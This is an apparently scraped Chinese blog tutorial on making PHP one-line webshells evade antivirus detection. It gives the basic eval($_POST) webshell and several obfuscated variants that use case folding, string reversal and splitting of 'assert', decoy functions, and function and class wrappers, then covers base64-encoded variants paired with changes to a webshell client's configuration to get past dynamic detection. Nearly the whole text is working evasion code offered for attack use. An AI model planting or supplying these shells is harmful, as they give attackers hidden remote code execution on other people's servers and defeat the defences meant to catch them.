bypass

Posted i-honey

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了bypass相关的知识,希望对你有一定的参考价值。

 

一句话免杀

<?php ?> php语句开头结尾
@ 防止报错
eval 语言结构

最简小的一句话:
<?php
@eval($_POST[‘key‘]);
?>

一、文本查杀绕过(关掉防御可以用C刀连接/浏览器直接访问):
大小写转换、文本颠倒、文本分割、干扰函数、加密(base64,..)、语言特征(函数化、面向对象)...等

1. 大小写
<?php
//大小写
$a = ‘Eval‘;
$b = strtolower($a);

$b($_POST[‘key‘]);
?>


2.assert断言
<?php
//assert断言只会执行第一条语句key=system("whoami");echo "aa";
$a = ‘AssErt‘;
$b = strtolower($a);

$b($_POST[‘key‘]);
?>


3.文本颠倒
<?php
//文本颠倒大小写结合
$a = ‘tREssA‘;
$b = strtolower($a);
$c = strrev($b);

$c($_POST[‘key‘]);
?>


4.文本分割
<?php
//文本分割(点号)
$a = ‘tRE‘.‘ssA‘;
$b = strtolower($a);
$c = strrev($b);

$c($_POST[‘key‘]);
?>


5.数组分割,干扰函数
<?php
//数组分割(点号)
$a = array(‘tRE‘,‘ssA‘);
$a = $a[0].$a[1];
$b = strtolower($a);
$c = strrev($b);

//print_r($c($_POST[‘key‘]));
var_dump($c($_POST[‘key‘]));
echo(var_dump($c($_POST[‘key‘])));
?>

简化成一行
<?php $a = array(‘tRE‘,‘ssA‘);$a = $a[0].$a[1];$b = strtolower($a);$c = strrev($b);var_dump($c($_POST[‘key‘]));echo(var_dump($c($_POST[‘key‘])));?>

去掉空格
<?php $a=array(‘tRE‘,‘ssA‘);$a=$a[0].$a[1];$b=strtolower($a);$c=strrev($b);var_dump($c($_POST[‘key‘]));echo(var_dump($c($_POST[‘key‘])));?>

在可能被拦截的地方再加干扰函数(可以绕过)
<?php $a=array(‘tRE‘,‘ssA‘);$a=$a[0].$a[1];$b=strtolower($a);print_r($c=strrev($b));var_dump($c($_POST[‘key‘]));echo(var_dump($c($_POST[‘key‘])));?>


6.函数化(可以绕过)
<?php
function gkey($a){
@eval($a);
}
gkey($_POST(‘key‘));
?>


7.面向对象封装成类(可以绕过)

<?php
class KKey{
public function gkey($a){
@eval($a);
}
}
$key = new KKey;
$key -> gkey($_POST(‘key‘));
?>

 


二、动态查杀绕过:
加密传输、改变传输特征...等


C刀配置文件修改为PHP_MAKE=去掉\u0001后base64编码的值,PHP_INDEX=数据包中action参数的值
一句话也要对应修改:
//1.绕过失败
<?php
class KKey{
public function gkey($a){
@eval(base64_decode($a));
}
}
$key = new KKey;
$key -> gkey($_POST(‘key‘));
?>

//2,[email protected](system("whoami"))编码后的值
<?php
function gkey($a){
@eval($a);
// echo $a;
}
gkey(base64_decode($_POST(‘key‘)));
?>

//3
<?php
class KKey{
public function gkey($a){
@eval($a);
}
}
$key = new KKey;
$key -> gkey(base64_decode($_POST(‘key‘)));
?>

 

以上是关于bypass的主要内容,如果未能解决你的问题,请参考以下文章